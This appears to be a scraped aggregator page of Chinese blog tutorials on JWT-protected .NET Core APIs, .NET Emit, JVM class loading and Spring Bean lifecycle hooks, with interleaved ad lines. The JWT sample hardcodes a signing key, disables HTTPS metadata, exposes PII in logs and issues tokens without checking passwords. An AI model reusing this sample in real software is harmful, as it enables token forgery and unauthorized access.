USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

.NET core3.0 使用Jwt保護api

摘要:

本文演示如何向有效用戶提供jwt,以及如何在webapi中使用該token通過JwtBearerMiddleware中間件對用戶進行身份認證。

認證和授權區別?

首先我們要弄清楚認證(Authentication)和授權(Authorization)的區別,以免混淆了。認證是確認的過程中你是誰,而授權圍繞是你被允許做什麼,即權限。顯然,在確認允許用戶做什麼之前,你需要知道他們是誰,因此,在需要授權時,還必須以某種方式對用戶進行身份驗證。 

什麼是JWT?

根據維基百科的定義,JSON WEB Token(JWT),是一種基於JSON的、用於在網絡上聲明某種主張的令牌(token)。JWT通常由三部分組成:頭信息(header),消息體(payload)和簽名(signature)。

頭信息指定了該JWT使用的簽名算法:

header = '{"alg":"HS256","typ":"JWT"}'

HS256表示使用了HMAC-SHA256來生成簽名。

消息體包含了JWT的意圖:

payload = '{"loggedInAs":"admin","iat":1422779638}'//iat表示令牌生成的時間

未簽名的令牌由base64url編碼的頭信息和消息體拼接而成(使用”.”分隔),簽名則通過私有的key計算而成:

key = 'secretkey'  
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)  
signature = HMAC-SHA256(key, unsignedToken)

最後在未簽名的令牌尾部拼接上base64url編碼的簽名(同樣使用”.”分隔)就是JWT了:

token = encodeBase64(header) + '.' + encodeBase64(payload) + '.' + encodeBase64(signature)

# token看起來像這樣: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbkFzIjoiYWRtaW4iLCJpYXQiOjE0MjI3Nzk2Mzh9.gzSraSYS8EXBxLN_oWnFSRgCzcmJmMjLiuyu5CSpyHI

JWT常常被用作保護服務端的資源(resource),客戶端通常將JWT通過HTTP的Authorization header發送給服務端,服務端使用自己保存的key計算、驗證簽名以判斷該JWT是否可信:

Authorization: Bearer eyJhbGci*...<snip>...*yu5CSpyHI

準備工作

使用vs2019創建webapi項目,並且安裝nuget包

Microsoft.AspNetCore.Authentication.JwtBearer

Startup類
  • ConfigureServices 添加認證服務

services.AddAuthentication(options =>
            {
                options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
                options.DefaultChallengeScheme = JwtBearerDefaults.AuthenticationScheme;
                options.DefaultScheme = JwtBearerDefaults.AuthenticationScheme;
            }).AddJwtBearer(options =>
            {
                options.SaveToken = true;
                options.RequireHttpsMetadata = false;
                options.TokenValidationParameters = new TokenValidationParameters()
                {
                    ValidateIssuer = true,
                    ValidateAudience = true,
                    ValidAudience = "https://www.cnblogs.com/chengtian",
                    ValidIssuer = "https://www.cnblogs.com/chengtian",
                    IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes("SecureKeySecureKeySecureKeySecureKeySecureKeySecureKey"))
                };
            });
  • Configure 配置認證中間件

 app.UseAuthentication();//認證中間件

創建一個token

  • 添加一個登錄model命名為LoginInput

public class LoginInput
    {

        public string Username { get; set; }

        public string Password { get; set; }
    }
  • 添加一個認證控制器命名為AuthenticateController

[Route("api/[controller]")]
    public class AuthenticateController : Controller
    {
        [HttpPost]
        [Route("login")]
        public IActionResult Login([FromBody]LoginInput input)
        {
            //從數據庫驗證用戶名,密碼 
            //驗證通過 否則 返回Unauthorized

            //創建claim
            var authClaims = new[] {
                new Claim(JwtRegisteredClaimNames.Sub,input.Username),
                new Claim(JwtRegisteredClaimNames.Jti,Guid.NewGuid().ToString())
            };
            IdentityModelEventSource.ShowPII = true;
            //簽名秘鑰 可以放到json文件中
            var authSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes("SecureKeySecureKeySecureKeySecureKeySecureKeySecureKey"));

            var token = new JwtSecurityToken(
                   issuer: "https://www.cnblogs.com/chengtian",
                   audience: "https://www.cnblogs.com/chengtian",
                   expires: DateTime.Now.AddHours(2),
                   claims: authClaims,
                   signingCredentials: new SigningCredentials(authSigningKey, SecurityAlgorithms.HmacSha256)
                   );

            //返回token和過期時間
            return Ok(new
            {
                token = new JwtSecurityTokenHandler().WriteToken(token),
                expiration = token.ValidTo
            });
        }
    }
添加api資源

利用默認的控制器WeatherForecastController

    • 添加個Authorize標籤

    • 路由調整為:[Route(“api/[controller]”)] 代碼如下

 [Authorize]
    [ApiController]
    [Route("api/[controller]")]
    public class WeatherForecastController : ControllerBase

到此所有的代碼都已經准好了,下面進行運行測試

運行項目

使用postman進行模擬

  • 輸入url:https://localhost:44364/api/weatherforecast

     

     發現返回時401未認證,下面獲取token

  • 通過用戶和密碼獲取token

    如果我們的憑證正確,將會返回一個token和過期日期,然後利用該令牌進行訪問

  • 利用token進行請求

    ok,最後發現請求狀態200!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

.NET高級特性-Emit(2)類的定義,.NET高級特性-Emit(1)

  在上一篇博文發了一天左右的時間,就收到了博客園許多讀者的評論和推薦,非常感謝,我也會及時回復讀者的評論。之後我也將繼續撰寫博文,梳理相關.NET的知識,希望.NET的圈子能越來越大,開發者能了解/深入.NET的本質,將工作做的簡單又高效,拒絕重複勞動,拒絕CRUD。

  ok,咱們開始繼續Emit的探索。在這之前,我先放一下我往期關於Emit的文章,方便讀者閱讀。

  《》

一、基礎知識

  既然C#作為一門面向對象的語言,所以首當其沖的我們需要讓Emit為我們動態構建類。

  廢話不多說,首先,我們先來回顧一下C#類的內部由什麼東西組成:

  (1) 字段-C#類中保存數據的地方,由訪問修飾符、類型和名稱組成;

  (2) 屬性-C#類中特有的東西,由訪問修飾符、類型、名稱和get/set訪問器組成,屬性的是用來控制類中字段數據的訪問,以實現類的封裝性;在Java當中寫作getXXX()和setXXX(val),C#當中將其變成了屬性這種語法糖;

  (3) 方法-C#類中對邏輯進行操作的基本單元,由訪問修飾符、方法名、泛型參數、入參、出參構成;

  (4) 構造器-C#類中一種特殊的方法,該方法是專門用來創建對象的方法,由訪問修飾符、與類名相同的方法名、入參構成。

  接着,我們再觀察C#類本身又具備哪些東西:

  (1) 訪問修飾符-實現對C#類的訪問控制

  (2) 繼承-C#類可以繼承一個父類,並需要實現父類當中所有抽象的方法以及選擇實現父類的虛方法,還有就是子類需要調用父類的構造器以實現對象的創建

  (3) 實現-C#類可以實現多個接口,並實現接口中的所有方法

  (4) 泛型-C#類可以包含泛型參數,此外,類還可以對泛型實現約束

  以上就是C#類所具備的一些元素,以下為樣例:

public abstract class Bar
{
    public abstract void PrintName();
}
public interface IFoo<T> { public T Name { get; set; } } //繼承Bar基類,實現IFoo接口,泛型參數T
public class Foo<T> : Bar, IFoo<T>
  //泛型約束
  where T : struct {
//構造器 public Foo(T name):base() { _name = name; } //字段 private T _name; //屬性 public T Name { get => _name; set => _name = value; } //方法 public override void PrintName() {
    Console.WriteLine(_name.ToString()); }
}

  在探索完了C#類及其定義后,我們要來了解C#的項目結構組成。我們知道C#的一個csproj項目最終會對應生成一個dll文件或者exe文件,這一個文件我們稱之為程序集Assembly;而在一個程序集中,我們內部包含和定義了許多命名空間,這些命令空間在C#當中被稱為模塊Module,而模塊正是由一個一個的C#類Type組成。

 

 

 

   所以,當我們需要定義C#類時,就必須首先定義Assembly以及Module,如此才能進行下一步工作。

二、IL概覽

   由於Emit實質是通過IL來生成C#代碼,故我們可以反向生成,先將寫好的目標代碼寫成cs文件,通過編譯器生成dll,再通過ildasm查看IL代碼,即可依葫蘆畫瓢的編寫出Emit代碼。所以我們來查看以下上節Foo所生成的IL代碼。

  

 

 

   從上圖我們可以很清晰的看到.NET的層級結構,位於樹頂層淺藍色圓點表示一個程序集Assembly,第二層藍色表示模塊Module,在模塊下的均為我們所定義的類,類中包含類的泛型參數、繼承類信息、實現接口信息,類的內部包含構造器、方法、字段、屬性以及它的get/set方法,由此,我們可以開始編寫Emit代碼了

三、Emit編寫

  有了以上的對C#類的解讀和IL的解讀,我們知道了C#類本身所需要哪些元素,我們就開始根據這些元素來開始編寫Emit代碼了。這裏的代碼量會比較大,請讀者慢慢閱讀,也可以參照以上我寫的類生成il代碼進行比對。

  在Emit當中所有創建類型的幫助類均以Builder結尾,從下錶中我們可以看的非常清楚

元素中文 元素名稱 對應Emit構建器名稱
程序集  Assembly AssemblyBuilder
模塊  Module ModuleBuilder
 Type TypeBuilder
構造器  Constructor ConstructorBuilder
屬性  Property PropertyBuilder
字段  Field FieldBuilder
方法  Method MethodBuilder

  由於創建類需要從Assembly開始創建,所以我們的入口是AssemblyBuilder

  (1) 首先,我們先引入命名空間,我們以上節Foo類為樣例進行編寫

using System.Reflection.Emit;

  (2) 獲取基類和接口的類型

var barType = typeof(Bar);
var interfaceType = typeof(IFoo<>);

  (3) 定義Foo類型,我們可以看到在定義類之前我們需要創建Assembly和Module

//定義類
var assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly(new AssemblyName("Edwin.Blog.Emit"), AssemblyBuilderAccess.Run);
var moduleBuilder = assemblyBuilder.DefineDynamicModule("Edwin.Blog.Emit");
var typeBuilder = moduleBuilder.DefineType("Foo", TypeAttributes.Public | TypeAttributes.Class | TypeAttributes.AutoClass | TypeAttributes.AnsiClass | TypeAttributes.BeforeFieldInit);

  (4) 定義泛型參數T,並添加約束

//定義泛型參數
var genericTypeBuilder = typeBuilder.DefineGenericParameters("T")[0];
//設置泛型約束
genericTypeBuilder.SetGenericParameterAttributes(GenericParameterAttributes.NotNullableValueTypeConstraint);

  (5) 繼承和實現接口,注意當實現類的泛型參數需傳遞給接口時,需要將泛型接口添加泛型參數后再調用AddInterfaceImplementation方法

//繼承基類
typeBuilder.SetParent(barType);
//實現接口
typeBuilder.AddInterfaceImplementation(interfaceType.MakeGenericType(genericTypeBuilder));

  (6) 定義字段,因為字段在構造器值需要使用,故先創建

//定義字段
var fieldBuilder = typeBuilder.DefineField("_name", genericTypeBuilder, FieldAttributes.Private);

  (7) 定義構造器,並編寫內部邏輯

//定義構造器
var ctorBuilder = typeBuilder.DefineConstructor(MethodAttributes.Public | MethodAttributes.HideBySig | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName, CallingConventions.Standard, new Type[] { genericTypeBuilder });
var ctorIL = ctorBuilder.GetILGenerator();
//Ldarg_0在實例方法中表示this,在靜態方法中表示第一個參數
ctorIL.Emit(OpCodes.Ldarg_0);
ctorIL.Emit(OpCodes.Ldarg_1);
//為field賦值
ctorIL.Emit(OpCodes.Stfld, fieldBuilder);
ctorIL.Emit(OpCodes.Ret);

  (8) 定義Name屬性

//定義屬性
var propertyBuilder = typeBuilder.DefineProperty("Name", PropertyAttributes.None, genericTypeBuilder, Type.EmptyTypes);

  (9) 編寫Name屬性的get/set訪問器

//定義get方法
var getMethodBuilder = typeBuilder.DefineMethod("get_Name", MethodAttributes.Public | MethodAttributes.HideBySig | MethodAttributes.NewSlot | MethodAttributes.SpecialName | MethodAttributes.Virtual, CallingConventions.Standard, genericTypeBuilder, Type.EmptyTypes);
var getIL = getMethodBuilder.GetILGenerator();
getIL.Emit(OpCodes.Ldarg_0);
getIL.Emit(OpCodes.Ldfld, fieldBuilder);
getIL.Emit(OpCodes.Ret);
typeBuilder.DefineMethodOverride(getMethodBuilder, interfaceType.GetProperty("Name").GetGetMethod()); //實現對接口方法的重載
propertyBuilder.SetGetMethod(getMethodBuilder); //設置為屬性的get方法
//定義set方法
var setMethodBuilder = typeBuilder.DefineMethod("set_Name", MethodAttributes.Public | MethodAttributes.HideBySig | MethodAttributes.NewSlot | MethodAttributes.SpecialName | MethodAttributes.Virtual, CallingConventions.Standard, null, new Type[] { genericTypeBuilder });
var setIL = setMethodBuilder.GetILGenerator();
setIL.Emit(OpCodes.Ldarg_0);
setIL.Emit(OpCodes.Ldarg_1);
setIL.Emit(OpCodes.Stfld, fieldBuilder);
setIL.Emit(OpCodes.Ret);
typeBuilder.DefineMethodOverride(setMethodBuilder, interfaceType.GetProperty("Name").GetSetMethod()); //實現對接口方法的重載
propertyBuilder.SetSetMethod(setMethodBuilder); //設置為屬性的set方法

   (10) 定義並實現PrintName方法

//定義方法
var printMethodBuilder = typeBuilder.DefineMethod("PrintName", MethodAttributes.Public | MethodAttributes.HideBySig | MethodAttributes.Virtual, CallingConventions.Standard, null, Type.EmptyTypes);
var printIL = printMethodBuilder.GetILGenerator();
printIL.Emit(OpCodes.Ldarg_0);
printIL.Emit(OpCodes.Ldflda, fieldBuilder);
printIL.Emit(OpCodes.Constrained, genericTypeBuilder);
printIL.Emit(OpCodes.Callvirt, typeof(object).GetMethod("ToString", Type.EmptyTypes));
printIL.Emit(OpCodes.Call, typeof(Console).GetMethod("WriteLine", new Type[] { typeof(string) }));
printIL.Emit(OpCodes.Ret);
//實現對基類方法的重載
typeBuilder.DefineMethodOverride(printMethodBuilder, barType.GetMethod("PrintName", Type.EmptyTypes));

  (11) 創建類

var type = typeBuilder.CreateType(); //netstandard中請使用CreateTypeInfo().AsType()

  (12) 調用

var obj = Activator.CreateInstance(type.MakeGenericType(typeof(DateTime)), DateTime.Now);
(obj as Bar).PrintName();
Console.WriteLine((obj as IFoo<DateTime>).Name);

四、應用

  上面的樣例僅供學習只用,無法運用在實際項目當中,那麼,Emit構建類在實際項目中我們可以有什麼應用,提高我們的編碼效率

  (1) 動態DTO-當我們需要將實體映射到某個DTO時,可以用動態DTO來代替你手寫的DTO,選擇你需要的字段回傳給前端,或者前端把他想要的字段傳給後端

  (2) DynamicLinq-我的第一篇博文有個讀者提到了表達式樹,而linq使用的正是表達式樹,當表達式樹+Emit時,我們就可以用像SQL或者GraphQL那樣的查詢語句實現動態查詢

  (3) 對象合併-我們可以編寫實現一個像js當中Object.assign()一樣的方法,實現對兩個實體的合併

  (4) AOP動態代理-AOP的核心就是代理模式,但是與其對應的是需要手寫代理類,而Emit就可以幫你動態創建代理類,實現切面編程

  (5) …

五、小結

  對於Emit,確實初學者會對其感到複雜和難以學習,但是只要搞懂其中的原理,其實最終就是C#和.NET語言的本質所在,在學習Emit的同時,也是在鍛煉你的基本功是否紮實,你是否對這門語言精通,是否有各種簡化代碼的應用。

  保持學習,勇於實踐;Write Less,Do More;作者之後還會繼續.NET高級特性系列,感謝閱讀!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

Java虛擬機詳解(十)——類加載過程

  在上一篇文章中,我們詳細的介紹了Java,那麼這些Class文件是如何被加載到內存,由虛擬機來直接使用的呢?這就是本篇博客將要介紹的——類加載過程。

1、類的生命周期

  類從被加載到虛擬機內存開始,到卸載出內存為止,其聲明周期流程如下:

  

  上圖中紅色的5個部分(加載、驗證、準備、初始化、卸載)順序是確定的,也就是說,類的加載過程必須按照這種順序按部就班的開始。這裏的“開始”不是按部就班的“進行”或者“完成”,因為這些階段通常是互相交叉混合的進行的,通常會在一個階段執行過程中調用另一個階段。

2、加載

  “加載”階段是“類加載”生命周期的第一個階段。在加載階段,虛擬機要完成下面三件事:

  ①、通過一個類的全限定名來獲取定義此類的二進制字節流。

  ②、將這個字節流所代表的靜態存儲結構轉化為方法區的運行時數據結構。

  ③、在Java堆中生成一個代表這個類的java.lang.Class對象,作為方法區這些數據的訪問入口。

  PS:類的全限定名可以理解為這個類存放的絕對路徑。方法區是JDK1.7以前定義的運行時數據區,而在JDK1.8以後改為元數據區(Metaspace),主要用於存放被Java虛擬機加載的類信息、常量、靜態變量、即時編譯器編譯后的代碼等數據。詳情可以參考這邊該系列的第二篇文章——。

  另外,我們看第一點——通過類的權限定名來獲取定義此類的二進制流,這裏並沒有明確指明要從哪裡獲取以及怎樣獲取,也就是說並沒有明確規定一定要我們從一個 Class 文件中獲取。基於此,在Java的發展過程中,充滿創造力的開發人員在這個舞台上玩出了各種花樣:

  1、從 ZIP 包中讀取。這稱為後面的 JAR、EAR、WAR 格式的基礎。

  2、從網絡中獲取。比較典型的應用就是 Applet。

  3、運行時計算生成。這就是動態代理技術。

  4、由其它文件生成。比如 JSP 應用。

  5、從數據庫中讀取。

  加載階段完成后,虛擬機外部的二進制字節流就按照虛擬機所需的格式存儲在方法區中,然後在Java堆中實例化一個 java.lang.Class 類的對象,這個對象將作為程序訪問方法區中這些類型數據的外部接口。

  注意,加載階段與連接階段的部分內容(如一部分字節碼文件的格式校驗)是交叉進行的,加載階段尚未完成,連接階段可能已經開始了。

3、驗證

  驗證是連接階段的第一步,作用是為了確保 Class 文件的字節流中包含的信息符合當前虛擬機的要求,並且不會危害虛擬機自身的安全。

  我們說Java語言本身是相對安全,因為編譯器的存在,純粹的Java代碼要訪問數組邊界外的數據、跳轉到不存在的代碼行之類的,是要被編譯器拒絕的。但是前面我們也說過,Class 文件不一定非要從Java源碼編譯過來,可以使用任何途徑,包括你很牛逼,直接用十六進制編輯器來編寫 Class 文件。

  所以,如果虛擬機不檢查輸入的字節流,將會載入有害的字節流而導致系統崩潰。但是虛擬機規範對於檢查哪些方面,何時檢查,怎麼檢查都沒有明確的規定,不同的虛擬機實現方式可能都會有所不同,但是大致都會完成下面四個方面的檢查。

①、文件格式驗證

  校驗字節流是否符合Class文件格式的規範,並且能夠被當前版本的虛擬機處理。

  一、是否以魔數 0xCAFEBABE 開頭。

  二、主、次版本號是否是當前虛擬機處理範圍之內。

  三、常量池的常量中是否有不被支持的常量類型(檢查常量tag標誌)

  四、指向常量的各種索引值中是否有指向不存在的常量或不符合類型的常量。

  五、CONSTANT_Utf8_info 型的常量中是否有不符合 UTF8 編碼的數據。

  六、Class 文件中各個部分及文件本身是否有被刪除的或附加的其他信息。

  以上是一部分校驗內容,當然遠不止這些。經過這些校驗后,字節流才會進入內存的方法區中存儲,接下來後面的三個階段校驗都是基於方法區的存儲結構進行的。

②、元數據驗證

  第二個階段主要是對字節碼描述的信息進行語義分析,以保證其描述的信息符合Java語言規範要求。

  一、這個類是否有父類(除了java.lang.Object 類之外,所有的類都應當有父類)。

  二、這個類的父類是否繼承了不允許被繼承的類(被final修飾的類)。

  三、如果這個類不是抽象類,是否實現了其父類或接口之中要求實現的所有普通方法。

  四、類中的字段、方法是否與父類產生了矛盾(例如覆蓋了父類的final字段、或者出現不符合規則的重載)

③、字節碼驗證

  第三個階段字節碼驗證是整個驗證階段中最複雜的,主要是進行數據流和控制流分析。該階段將對類的方法進行分析,保證被校驗的方法在運行時不會做出危害虛擬機安全的行為。

  一、保證任意時刻操作數棧中的數據類型與指令代碼序列都能配合工作。例如不會出現在操作數棧中放置了一個 int 類型的數據,使用時卻按照 long 類型來加載到本地變量表中。

  二、保證跳轉指令不會跳轉到方法體以外的字節碼指令中。

  三、保證方法體中的類型轉換是有效的。比如把一個子類對象賦值給父類數據類型,這是安全的。但是把父類對象賦值給子類數據類型,甚至賦值給完全不相干的類型,這就是不合法的。

④、符號引用驗證

  符號引用驗證主要是對類自身以外(常量池中的各種符號引用)的信息進行匹配性的校驗,通常需要校驗如下內容:

  一、符號引用中通過字符串描述的全限定名是否能夠找到相應的類。

  二、在指定類中是否存在符合方法的字段描述符及簡單名稱所描述的方法和字段。

  三、符號引用中的類、字段和方法的訪問性(private、protected、public、default)是否可以被當前類訪問。

4、準備

  準備階段是正式為類變量分配內存並設置類變量初始值的階段,這些內存是在方法區中進行分配。

  注意:

  一、上面說的是類變量,也就是被 static 修飾的變量,不包括實例變量。實例變量會在對象實例化時隨着對象一起分配在堆中。

  二、初始值,指的是一些數據類型的默認值。基本的數據類型初始值如下(引用類型的初始值為null):

  

 

   比如,定義 public static int value = 123 。那麼在準備階段過後,value 的值是 0 而不是 123,把 value 賦值為123 是在程序被編譯后,存放在類的構造器方法之中,是在初始化階段才會被執行。但是有一種特殊情況,通過final 修飾的屬性,比如 定義 public final static int value = 123,那麼在準備階段過後,value 就被賦值為123了。

5、解析

  解析階段是虛擬機將常量池中的符號引用替換為直接引用的過程。

  符號引用(Symbolic References):符號引用以一組符號來描述所引用的目標,符號可以是任何形式的字面量,只要使用時能無歧義的定位到目標即可。符號引用與虛擬機實現的內存布局無關,引用的目標不一定已經加載到內存中。

  直接引用(Direct References):直接引用可以是直接指向目標的指針、相對偏移量或是一個能間接定位到目標的句柄。直接引用是與虛擬機實現內存布局相關的,同一個符號引用在不同虛擬機實例上翻譯出來的直接引用一般不會相同。如果有了直接引用,那麼引用的目標必定已經在內存中存在。

  解析動作主要針對類或接口、字段、類方法、接口方法四類符號引用,分別對應於常量池的 CONSTANT_Class_info、CONSTANT_Fieldref_info、CONSTANT_Methodref_info、CONSTANTS_InterfaceMethodref_info四種類型常量。

6、初始化

   初始化階段是類加載階段的最後一步,前面過程中,除第一個加載階段可以通過用戶自定義類加載器參与之外,其餘過程都是完全由虛擬機主導和控制。而到了初始化階段,則開始真正執行類中定義的Java程序代碼(或者說是字節碼)。

  在前面介紹的準備階段中,類變量已經被賦值過初始值了,而初始化階段,則根據程序員的編碼去初始化變量和資源。

  換句話來說,初始化階段是執行類構造器<clinit>() 方法的過程

  ①、<clinit>() 方法 是由編譯器自動收集類中的所有類變量的賦值動作和靜態語句塊(static{})中的語句合併產生的,編譯器收集的順序是由語句在源文件中出現的順序所決定的,靜態語句塊中只能訪問到定義在靜態語句塊之前的變量,定義在它之後的變量,在前面的靜態語句塊中可以賦值,但是不能訪問。

  比如如下代碼會報錯:

  

 

   但是你把第 14 行代碼放到 static 靜態代碼塊的上面就不會報錯了。或者不改變代碼順序,將第 11 行代碼移除,也不會報錯。

  ②、<clinit>() 方法與類的構造函數(或者說是實例構造器<init>()方法)不同,它不需要显示的調用父類構造器,虛擬機會保證在子類的<init>()方法執行之前,父類的<init>()方法已經執行完畢。因此虛擬機中第一個被執行的<init>()方法的類肯定是 java.lang.Object。

  ③、由於父類的<clinit>() 方法先執行,所以父類中定義的靜態語句塊要優先於子類的變量賦值操作。

  ④、<clinit>() 方法對於接口來說並不是必須的,如果一個類中沒有靜態語句塊,也沒有對變量的賦值操作,那麼編譯器可以不為這個類生成<clinit>() 方法。

  ⑤、接口中不能使用靜態語句塊,但仍然有變量初始化的賦值操作,因此接口與類一樣都會生成<clinit>() 方法。但接口與類不同的是,執行接口中的<clinit>() 方法不需要先執行父接口的<clinit>() 方法。只有當父接口中定義的變量被使用時,父接口才會被初始化。

  ⑥、接口的實現類在初始化時也一樣不會執行接口的<clinit>() 方法。

  ⑦、虛擬機會保證一個類的<clinit>() 方法在多線程環境中被正確的加鎖和同步。如果多個線程同時去初始化一個類,那麼只會有一個線程去執行這個類的<clinit>() 方法,其他的線程都需要阻塞等待,直到活動線程執行<clinit>() 方法完畢。如果在一個類的<clinit>() 方法中有很耗時的操作,那麼可能造成多個進程的阻塞。

  比如對於如下代碼:

package com.yb.carton.controller;

/**
 * Create by YSOcean
 */
public class ClassLoadInitTest {


    static class Hello{
        static {
            if(true){
                System.out.println(Thread.currentThread().getName() + "init");
                while(true){}
            }
        }
    }

    public static void main(String[] args) {
        new Thread(()->{
            System.out.println(Thread.currentThread().getName()+"start");
            Hello h1 = new Hello();
            System.out.println(Thread.currentThread().getName()+"run over");
        }).start();


        new Thread(()->{
            System.out.println(Thread.currentThread().getName()+"start");
            Hello h2 = new Hello();
            System.out.println(Thread.currentThread().getName()+"run over");
        }).start();
    }

}

View Code

  運行結果如下:

  

 

   線程1搶到了執行<clinit>() 方法,但是該方法是一個死循環,線程2將一直阻塞等待。

  知道了類的初始化過程,那麼類的初始化何時被觸發呢?JVM大概規定了如下幾種情況:

  ①、當虛擬機啟動時,初始化用戶指定的類。

  ②、當遇到用以新建目標類實例的 new 指令時,初始化 new 指定的目標類。

  ③、當遇到調用靜態方法的指令時,初始化該靜態方法所在的類。

  ④、當遇到訪問靜態字段的指令時,初始化該靜態字段所在的類。

  ⑤、子類的初始化會觸發父類的初始化。

  ⑥、如果一個接口定義了 default 方法,那麼直接實現或間接實現該接口的類的初始化,會觸發該接口的初始化。

  ⑦、使用反射 API 對某個類進行反射調用時,會初始化這個類。

  ⑧、當初次調用 MethodHandle 實例時,初始化該 MethodHandle 指向的方法所在的類。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

羞,Spring Bean 初始化/銷毀竟然有這麼多姿勢

文章來源:

一、前言

日常開發過程有時需要在應用啟動之後加載某些資源,或者在應用關閉之前釋放資源。Spring 框架提供相關功能,圍繞 Spring Bean 生命周期,可以在 Bean 創建過程初始化資源,以及銷毀 Bean 過程釋放資源。Spring 提供多種不同的方式初始化/銷毀 Bean,如果同時使用這幾種方式,Spring 如何處理這幾者之間的順序?

有沒有覺得標題很熟悉,沒錯標題模仿二哥 「@沉默王二」 文章。

二、姿勢剖析

首先我們先來回顧一下 Spring 初始化/銷毀 Bean 幾種方式,分別為:

  • init-method/destroy-method
  • InitializingBean/DisposableBean
  • @PostConstruct/@PreDestroy
  • ContextStartedEvent/ContextClosedEvent

PS: 其實還有一種方式,就是繼承 Spring Lifecycle 接口。不過這種方式比較繁瑣,這裏就不再分析。

2.1、init-method/destroy-method

這種方式在配置文件文件指定初始化/銷毀方法。XML 配置如下

<bean id="demoService" class="com.dubbo.example.provider.DemoServiceImpl"  destroy-method="close"  init-method="initMethod"/>

或者也可以使用註解方式配置:

@Configurable
public class AppConfig {

    @Bean(initMethod = "init", destroyMethod = "destroy")
    public HelloService hello() {
        return new HelloService();
    }
}

還記得剛開始接觸學習 Spring 框架,使用就是這種方式。

2.2、InitializingBean/DisposableBean

這種方式需要繼承 Spring 接口 InitializingBean/DisposableBean,其中 InitializingBean 用於初始化動作,而 DisposableBean 用於銷毀之前清理動作。使用方式如下:

@Service
public class HelloService implements InitializingBean, DisposableBean {
    
    @Override
    public void destroy() throws Exception {
        System.out.println("hello destroy...");
    }

    @Override
    public void afterPropertiesSet() throws Exception {
        System.out.println("hello init....");
    }
}

2.3、@PostConstruct/@PreDestroy

這種方式相對於上面兩種方式來說,使用方式最簡單,只需要在相應的方法上使用註解即可。使用方式如下:

@Service
public class HelloService {


    @PostConstruct
    public void init() {
        System.out.println("hello @PostConstruct");
    }

    @PreDestroy
    public void PreDestroy() {
        System.out.println("hello @PreDestroy");
    }
}

這裏踩過一個坑,如果使用 JDK9 之後版本 ,@PostConstruct/@PreDestroy 需要使用 maven 單獨引入 javax.annotation-api,否者註解不會生效。

2.4、ContextStartedEvent/ContextClosedEvent

這種方式使用 Spring 事件機制,日常業務開發比較少見,常用與框架集成中。Spring 啟動之後將會發送 ContextStartedEvent 事件,而關閉之前將會發送 ContextClosedEvent 事件。我們需要繼承 Spring ApplicationListener 才能監聽以上兩種事件。

@Service
public class HelloListener implements ApplicationListener {

    @Override
    public void onApplicationEvent(ApplicationEvent event) {
        if(event instanceof ContextClosedEvent){
            System.out.println("hello ContextClosedEvent");
        }else if(event instanceof ContextStartedEvent){
            System.out.println("hello ContextStartedEvent");
        }

    }
}

也可以使用 @EventListener註解,使用方式如下:

public class HelloListenerV2 {
    
    @EventListener(value = {ContextClosedEvent.class, ContextStartedEvent.class})
    public void receiveEvents(ApplicationEvent event) {
        if (event instanceof ContextClosedEvent) {
            System.out.println("hello ContextClosedEvent");
        } else if (event instanceof ContextStartedEvent) {
            System.out.println("hello ContextStartedEvent");
        }
    }
}

PS:只有調用 ApplicationContext#start 才會發送 ContextStartedEvent。若不想這麼麻煩,可以監聽 ContextRefreshedEvent 事件代替。一旦 Spring 容器初始化完成,就會發送 ContextRefreshedEvent

三、綜合使用

回顧完上面幾種方式,這裏我們綜合使用上面的四種方式,來看下 Spring 內部的處理順序。在看結果之前,各位讀者大人可以猜測下這幾種方式的執行順序。

public class HelloService implements InitializingBean, DisposableBean {


    @PostConstruct
    public void init() {
        System.out.println("hello @PostConstruct");
    }

    @PreDestroy
    public void PreDestroy() {
        System.out.println("hello @PreDestroy");
    }

    @Override
    public void destroy() throws Exception {
        System.out.println("bye DisposableBean...");
    }

    @Override
    public void afterPropertiesSet() throws Exception {
        System.out.println("hello InitializingBean....");
    }

    public void xmlinit(){
        System.out.println("hello xml-init...");
    }

    public void xmlDestory(){
        System.out.println("bye xmlDestory...");
    }

    @EventListener(value = {ContextClosedEvent.class, ContextStartedEvent.class})
    public void receiveEvents(ApplicationEvent event) {
        if (event instanceof ContextClosedEvent) {
            System.out.println("bye ContextClosedEvent");
        } else if (event instanceof ContextStartedEvent) {
            System.out.println("hello ContextStartedEvent");
        }
    }

}

xml 配置方式如下:

    <context:annotation-config />
    <context:component-scan base-package="com.dubbo.example.demo"/>
    
    <bean class="com.dubbo.example.demo.HelloService" init-method="xmlinit" destroy-method="xmlDestory"/>

應用啟動方法如下:

ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/dubbo-provider.xml");
context.start();
context.close();

程序輸出結果如下所示:

最後採用圖示說明總結以上結果:

四、源碼解析

不知道各位讀者有沒有猜對這幾種方式的執行順序,下面我們就從源碼角度解析 Spring 內部處理的順序。

4.1、初始化過程

使用 ClassPathXmlApplicationContext 啟動 Spring 容器,將會調用 refresh 方法初始化容器。初始化過程將會創建 Bean 。最後當一切準備完畢,將會發送 ContextRefreshedEvent。當容器初始化完畢,調用 context.start() 就發送 ContextStartedEvent 事件。

